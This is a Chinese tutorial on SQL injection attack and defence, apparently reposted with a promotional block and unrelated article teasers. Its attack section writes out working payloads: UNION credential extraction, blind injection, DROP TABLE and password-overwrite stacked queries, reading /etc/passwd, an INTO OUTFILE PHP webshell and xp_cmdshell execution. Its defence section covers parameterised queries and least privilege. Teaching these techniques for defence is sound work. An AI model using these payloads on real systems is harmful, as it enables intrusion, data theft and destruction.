SQL 注入攻防全攻略:开发者必学的数据库安全防护技巧

SQL注入详解

一、什么是SQL注入?

SQL注入(SQL Injection)是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,攻击成功后可以获取、篡改或删除数据库数据,甚至控制服务器。

二、攻击原理

-- 原始查询语句SELECT*FROMusersWHEREusername='[用户输入]'ANDpassword='[用户输入]'-- 攻击者输入:用户名:admin' -- 密码:任意值 -- 最终执行的SQL: SELECT * FROM users WHERE username = 'admin' --'ANDpassword='任意值'-- '--' 是SQL注释符,后续条件被忽略

三、常见攻击类型

1.基于错误的注入
' OR 1=1 -- -- 永真条件 'OR'1'='1
2.联合查询注入
' UNION SELECT username, password FROM users -- 'UNIONSELECT1,@@version-- -- 获取数据库版本
3.盲注
  • 布尔盲注:通过页面返回判断真假
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'--
  • 时间盲注:通过延时判断
' AND IF(1=1,SLEEP(5),0) -- -- MySQL ';WAITFORDELAY'0:0:5'-- -- SQL Server
4.堆叠查询
'; DROP TABLE users; -- ';UPDATEusersSETpassword='hacked'WHEREid=1;--

四、危险操作示例

1.数据泄露
'UNIONSELECTnull,table_nameFROMinformation_schema.tables---- MySQL系统表:information_schema.tables-- 所有表信息information_schema.columns-- 所有列信息mysql.user-- 用户信息(MySQL)-- SQL Server:SELECTnameFROMmaster..sysdatabases-- 获取所有数据库
2.文件操作
-- MySQL读取文件:' UNION SELECT LOAD_FILE('/etc/passwd') -- -- MySQL写入文件(写webshell): SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php'
3.命令执行
-- SQL Server(需xp_cmdshell启用):'; EXEC xp_cmdshell 'netuser'--

五、防御措施

1.参数化查询(预编译语句)
# ❌ 错误:字符串拼接query=f"SELECT * FROM users WHERE username = '{username}'"# ✅ 正确:参数化查询cursor.execute("SELECT * FROM users WHERE username = %s",(username,))
// Java PreparedStatementPreparedStatementstmt=conn.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");stmt.setString(1,username);stmt.setString(2,password);
2.输入验证与过滤
// 白名单验证if(!preg_match('/^[a-zA-Z0-9_]+$/',$username)){die('Invalid username');}// 转义特殊字符(作为辅助措施)$username=mysqli_real_escape_string($conn,$username);
3.最小权限原则
-- 创建专用数据库用户CREATEUSER'webapp'@'localhost'IDENTIFIEDBY'strongpassword';GRANTSELECT,INSERTONmydb.*TO'webapp'@'localhost';-- 不要授予DROP、DELETE、FILE等权限
4.其他防御措施
  • 使用ORM框架(Hibernate、Entity Framework等)
  • 启用WAF(Web应用防火墙)
  • 错误信息处理:不返回详细数据库错误给用户
  • 定期安全扫描

六、检测工具

  1. 自动化工具

    • SQLMap(最常用)
    • Havij
    • SQLninja
  2. 手动检测步骤

    1. 寻找输入点(表单、URL参数、Cookie) 2. 测试特殊字符:' " ) ; -- 3. 尝试永真/永假条件 4. 判断注入类型和数据库类型 5. 获取数据库信息 6. 提取数据

七、实际案例

GET /product?id=1' AND 1=CONVERT(int, @@version)-- HTTP/1.1 -- 检测到SQL Server,进一步获取数据: GET /product?id=1' UNION SELECT name, password FROM users--

八、法律声明

⚠️重要提醒

  • SQL注入技术仅可用于授权的安全测试
  • 未经授权攻击他人系统是违法行为
  • 本文内容仅供学习防御之用

最佳实践总结

  1. 始终使用参数化查询
  2. 实施最小权限原则
  3. 对所有输入进行严格验证
  4. 定期更新和打补丁
  5. 进行安全代码审计
  6. 使用Web应用防火墙

记住:没有完全安全的系统,只有不断改进的安全实践。保持警惕,持续学习新的安全技术是防御SQL注入的关键。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈)

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

**读者福利 |**CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享**(安全链接,放心点击)**

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1205544.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

渗透测试必备工具进阶技巧:高效提升漏洞挖掘效率,一篇文章带你从零基础入门到精通!

引言 渗透测试的效率与工具使用熟练度直接挂钩&#xff0c;除了基础的Metasploit、SQLMap&#xff0c;还有众多工具的进阶功能的能大幅提升漏洞挖掘效率。本文聚焦渗透测试中高频使用的4款工具&#xff0c;分享实用进阶技巧&#xff0c;帮助从业者摆脱“只会基础命令”的瓶颈。…

cuda 中__restrict__作用

你想了解 CUDA 中 __restrict__ 的作用,这个关键字本质是编译器优化提示,核心目的是帮 GPU 编译器生成更高效的代码,同时也能避免内存别名(aliasing)导致的错误或性能损失。我会从“是什么、为什么有用、怎么用、…

CUDA的最新稳定版本是13.1

截至2026年1月&#xff0c;CUDA的最新稳定版本是13.1&#xff08;发布于2025年12月&#xff09;&#xff0c;这是NVIDIA自2006年CUDA诞生以来最大规模的一次更新&#xff0c;引入了革命性的编程范式变革。以下是该版本的核心特性介绍&#xff1a; 一、核心更新概览 版本信息 …

修改归档模式

[root@xyrtddb03 patroni]# cat patroni.yml scope: pgsql16 namespace: /pgsql01/ name: pg03restapi:listen: 0.0.0.0:8008connect_address: 10.40.2.43:8008etcd3:hosts: 10.40.2.41:2379,10.40.2.42:2379,10.40.2…

2026山东最新数据资产评估机构top5推荐!潍坊等地专业数据资产评估公司权威榜单发布,资质技术双优助力价值评估.

数字经济时代,数据资产作为新型生产要素的价值日益凸显,企业对数据资产评估的专业性、合规性与技术深度需求显著提升。但行业存在资质参差不齐、评估方法不统一等问题,制约数据价值的有效释放。据中国资产评估协会最…

详细介绍:Docker:Docker image常用命令使用及实操

详细介绍:Docker:Docker image常用命令使用及实操2026-01-23 15:42 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; displ…

IntelliJ IDEA 2026.1 EAP 发布!拥抱 Java 26,Spring Boot 4 深度支持!

IntelliJ IDEA 2026.1 EAP 发布!拥抱 Java 26,Spring Boot 4 深度支持!大家好,我是 Guide。这是真迅速啊!JetBrains 已经正式发布 IntelliJ IDEA 2026.1 EAP(Early Access Program)首个版本。作为一个面向下一代…

2026年316L不锈钢板厂家推荐报告:第三方视角下的优质供应商评估及选择指南

2026年316L不锈钢板厂家推荐报告:第三方视角下的优质供应商评估及选择指南 一、引言 根据2025年《中国不锈钢行业发展白皮书》显示,随着化工、核电、海洋工程等高端行业对耐蚀材料需求的增长,316L不锈钢板市场规模同…

2025年非遗膏方厂家口碑排行:消费者信赖的品牌,阿胶糕/阿胶类产品/膏方类产品/阿胶/阿胶类/膏方/非遗膏方非遗膏方定制口碑推荐

随着健康消费观念的升级,承载着千年中医药智慧的膏方,正以“非遗”之姿焕发新生,成为大健康产业中备受瞩目的品类。市场繁荣的背后,是消费者对产品品质、文化底蕴与品牌信誉的日益看重。为厘清行业格局,助力消费者…

探寻2026年靠谱中空板印刷机制造商,这些品牌值得一看,行业内有实力的中空板印刷机生产商10年质保有保障

随着包装行业对高效、精准印刷需求的持续增长,中空板印刷机作为关键设备,其技术迭代与市场格局正经历深刻变革。当前,行业面临设备同质化严重、核心技术创新不足、国际市场竞争力分化等挑战。在此背景下,采购方如何…

ST LSM6DSO IMU芯片介绍

好的&#xff0c;这份文档是意法半导体&#xff08;STMicroelectronics&#xff09;的 LSM6DSO 系统级封装&#xff08;SiP&#xff09;数据手册。LSM6DSO 是一款高性能、低功耗的 iNEMO 惯性测量单元&#xff08;IMU&#xff09;&#xff0c;集成了3轴数字加速度计和3轴数字陀…

从月销17万案例拆解九尾狐AI的企业级培训架构设计与落地实践

第一章&#xff1a;九尾狐AI培训体系的技术架构解析在企业AI培训领域&#xff0c;九尾狐AI构建了一套独特的技术架构体系&#xff0c;其核心设计理念是"降低技术门槛&#xff0c;提升落地效率"。class JiuWeiHuAI_TrainingSystem:def __init__(self, enterprise_data…

马可波罗 item_get - 获取商品详情接口对接全攻略:从入门到精通

马可波罗 item_get 接口&#xff08;官方标准命名 mkb.item.get&#xff09;是面向工业品、原材料、机电设备、五金工具等 B 端批发交易场景的核心详情接口&#xff0c;通过商品唯一标识 product_id 可获取商品全维度结构化数据&#xff0c;覆盖基础属性、技术参数、供应能力、…

2026最新Anaconda超详细安装教程(附安装包)

扫盲&#xff1a;先装Python还是先装anaconda? 安装anaconda即可&#xff0c;不需要单独装python anaconda 是一个python的发行版&#xff0c;包括了python和很多常见的软件库, 和一个包管理器conda。 一、下载Anaconda安装包&#xff08;官网和国内镜像资源&#xff09; …

自动化测试:操作自动化测如何实现用例设计实例

在编写用例之间&#xff0c;笔者再次强调几点编写自动化测试用例的原则&#xff1a; 1、一个脚本是一个完整的场景&#xff0c;从用户登陆操作到用户退出系统关闭浏览器。 2、一个脚本脚本只验证一个功能点&#xff0c;不要试图用户登陆系统后把所有的功能都进行验证再退出系统…

iPhone 网络调试的过程,请求是否发出,是否经过系统代理,app 绕过代理获取数据

如何做iPhone 网络调试&#xff0c;可以先确认请求走了哪里 这个判断会直接影响后续选用的工具和调试方式。确认请求是否真实存在 调试从一台 iPhone 开始&#xff0c;目标是确认某个 App 的接口请求是否已经发出。 第一步并不依赖任何抓包工具&#xff0c;而是借助系统层面的行…

接口自动化测试一点总结

想要在软件测试这个行业继续前行&#xff0c;就必须拥有核心竞争力&#xff0c;掌握自动化测试技术&#xff0c;是必不可少的一个技能。 在《Google软件测试之道》一书中有介绍到&#xff1a;在Google&#xff0c;70%的自动化测试工作集中于单元测试&#xff0c;20%集中于接口…

Web安全 | EmpireCMS漏洞常见漏洞分析及复现

前言 本文将对EmpireCMS(帝国cms)的漏洞进行分析及复现。代码分析这一块主要还是借鉴了大佬们的一些分析思想&#xff0c;这里对大佬们提供的思路表示衷心的感谢。 环境搭建 帝国cms的默认安装路径为http://localhost/e/install&#xff0c;进入安装一直往下 到连接数据库这…

Chrome 浏览器+Postman做接口测试(全)

如果把测试简单分为两类&#xff0c;那么就是客户端测试和服务端测试。客户端的测试包括UI测试&#xff0c;兼容性测试等&#xff0c;服务端测试包括接口测试。接口测试检查数据的交换&#xff0c;传递和控制管理过程&#xff0c;它绕过了客户端&#xff0c;直接对服务端进行测…